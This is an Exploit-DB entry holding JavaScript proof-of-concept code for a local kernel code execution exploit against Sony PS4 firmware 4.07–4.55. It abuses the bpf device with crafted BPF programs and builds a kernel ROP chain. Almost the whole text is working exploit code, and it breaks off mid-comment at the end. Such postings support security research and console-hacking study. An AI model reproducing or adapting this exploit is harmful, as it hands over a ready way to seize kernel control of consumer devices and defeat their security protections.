Exploit-DB #44177
Description: Sony Playstation 4 (PS4) 4.07 < 4.55 - 'bpf' Local Kernel Code Execution (PoC)
Type: local
Platform: hardware
Date: 2018-02-26
Author: qwertyoruiop

Exploit:
function stage4_()
{
    function malloc(sz)
    {
        var backing = new Uint8Array(1000+sz);
        window.nogc.push(backing);
        var ptr = p.read8(p.leakval(backing).add32(0x10));
        ptr.backing = backing;
        return ptr;
    }
    function malloc32(sz)
    {
        var backing = new Uint8Array(0x1000+sz*4);
        window.nogc.push(backing);
        var ptr = p.read8(p.leakval(backing).add32(0x10));
        ptr.backing = new Uint32Array(backing.buffer);
        return ptr;
    }
    var strcpy_helper = new Uint8Array(0x1000);
    var where_writeptr_strcpy = p.leakval(strcpy_helper).add32(0x10);
    function strcpy(ptr, str)
    {
        p.write8(where_writeptr_strcpy, ptr);
        for (var i = 0; i < str.length; i++)
            strcpy_helper[i] = str.charCodeAt(i) & 0xFF;
        strcpy_helper[str.length] = 0;
    }
    
    
    var sysctlbyname = window.libKernelBase.add32(0xF290);
    var sysreq = malloc32(0x10);
    sysreq.backing[0] = 7;
    sysreq.backing[1] = 0;
    sysreq.backing[4] = 0x10;
    
    var retv = malloc(0x100);
    var __errno_ptr = p.fcall(window.libKernelBase.add32(0x2BE0));
    
    
    var rv = p.fcall(sysctlbyname, p.sptr("machdep.openpsid"), retv, sysreq.add32(0x10), 0, 0);
    
    var str = "";
    for (var i=0; i<0x10; i++)
    {
        str += zeroFill(retv.backing[i].toString(16),2) + " ";
    }
    
   // log("psid: " + str)
    
    var fd = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
    var fd1 = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
    if (fd == (-1 >>> 0))
    {
        print("kexp failed: no bpf0");
    }
//    print("fd: " + fd);
    
    var scratch = malloc(0x100);
    var ifname = malloc(0x10);
    strcpy(ifname, "wlan0");
    p.syscall("ioctl", fd, 0x8020426c, ifname);
    var ret = p.syscall("write", fd, scratch, 40);
    if (ret.low == (-1 >>> 0))
    {
        strcpy(ifname, "eth0");
        p.syscall("ioctl", fd, 0x8020426c, ifname);
        var ret = p.syscall("write", fd, scratch, 40);
        if (ret.low == (-1 >>> 0))
        {
            throw "kexp failed :(";
        }
    }
    
    var assertcnt = 0;
    var assert = function(x)
    {
        assertcnt++;
        if (!x) throw "assertion " + assertcnt + " failed";
    }

    print("got it");
    
    var bpf_valid = malloc32(0x4000);
    var bpf_valid_u32 = bpf_valid.backing;
    var bpf_valid_prog = malloc(0x40);
    p.write8(bpf_valid_prog, 64)
    p.write8(bpf_valid_prog.add32(8), bpf_valid)
    
    for (var i = 0 ; i < 0x4000; )
    {
        bpf_valid_u32[i++] = 6; // BPF_RET
        bpf_valid_u32[i++] = 0;
    }
    
    var bpf_invalid = malloc32(0x4000);
    var bpf_invalid_u32 = bpf_invalid.backing;
    var bpf_invalid_prog = malloc(0x40);
    p.write8(bpf_invalid_prog, 64)
    p.write8(bpf_invalid_prog.add32(8), bpf_invalid)
    
    for (var i = 0 ; i < 0x4000; )
    {
        bpf_invalid_u32[i++] = 4; // NOP
        bpf_invalid_u32[i++] = 0;
    }
    
    var push_bpf = function(bpfbuf, cmd, k)
    {
        var i = bpfbuf.i;
        if (!i) i=0;
        bpfbuf[i*2] = cmd;
        bpfbuf[i*2+1] = k;
        bpfbuf.i = i+1;
    }
    
    push_bpf(bpf_invalid_u32, 5, 2); // jump
    push_bpf(bpf_invalid_u32, 0x12, 0); // invalid opcode
    bpf_invalid_u32.i = 16;

    var bpf_write8imm = function(bpf, offset, imm)
    {
        if (!(imm instanceof int64))
        {
            imm = new int64(imm,0);
        }
        push_bpf(bpf, 0, imm.low); // BPF_LD|BPF_IMM
        push_bpf(bpf, 2, offset); // BPF_ST
        push_bpf(bpf, 0, imm.hi); // BPF_LD|BPF_IMM
        push_bpf(bpf, 2, offset+1); // BPF_ST -> RDI: pop rsp
    }
    
    var bpf_copy8 = function(bpf, offset_to, offset_from)
    {
        push_bpf(bpf, 0x60, offset_from); // BPF_LD|BPF_MEM
        push_bpf(bpf, 2, offset_to); // BPF_ST
        push_bpf(bpf, 0x60, offset_from+1); // BPF_LD|BPF_MEM
        push_bpf(bpf, 2, offset_to+1); // BPF_ST
    }
    var bpf_add4 = function(bpf, offset, val)
    {
        push_bpf(bpf, 0x60, offset); // BPF_LD
        push_bpf(bpf, 0x4, val); // BPF_ALU|BPF_ADD|BPF_K
        push_bpf(bpf, 2, offset); // BPF_ST
    }
    
    
    
    var krop_off_init = 0x1e;
    var krop_off = krop_off_init;
    var reset_krop = function() {
        krop_off = krop_off_init;
        bpf_invalid_u32.i = 16;
    }
    var push_krop = function(value)
    {
        bpf_write8imm(bpf_invalid_u32, krop_off, value);
        krop_off += 2;
    }
    var push_krop_fromoff = function(value)
    {
        bpf_copy8(bpf_invalid_u32, krop_off, value);
        krop_off += 2;
    }
    var finalize_krop = function(retv)
    {
        if(!retv) retv = 5;
        push_bpf(bpf_invalid_u32, 6, retv); // return 5
    }

    var rtv = p.syscall("ioctl", fd, 0x8010427B, bpf_valid_prog);
    assert(rtv.low == 0);
    
    rtv = p.syscall("write", fd, scratch, 40);
    assert(rtv.low == (-1 >>> 0));
    
    var kscratch = malloc32(0x80);
    
    var kchain = new window.RopChain();
    
    kchain.clear();
    kchain.push(window.gadgets["ret"]); 
    kchain.push(window.gadgets["ret"]); 
    kchain.push(window.gadgets["ret"]); 
    kchain.push(window.webKitBase.add32(0x3EBD0)); 

    reset_krop();
    //push_krop(window.gadgets["infloop"]); // 8
    bpf_copy8(bpf_invalid_u32, 0, 0x1e);
    push_krop(window.gadgets["pop rsi"]); // 0x10
    push_krop_fromoff(0);
    push_krop(window.gadgets["pop rsp"]);
    push_krop(kchain.ropframeptr); // 8

    finalize_krop(0);
    
    var spawnthread = function(chain) {
        
        /*
         
         
         seg000:[PII_REDACTED]7FA7D0                         sub_7FA7D0      proc near               ; DATA XREF: sub_7F8330+5Eo
         seg000:[PII_REDACTED]7FA7D0 55                                      push    rbp
         seg000:0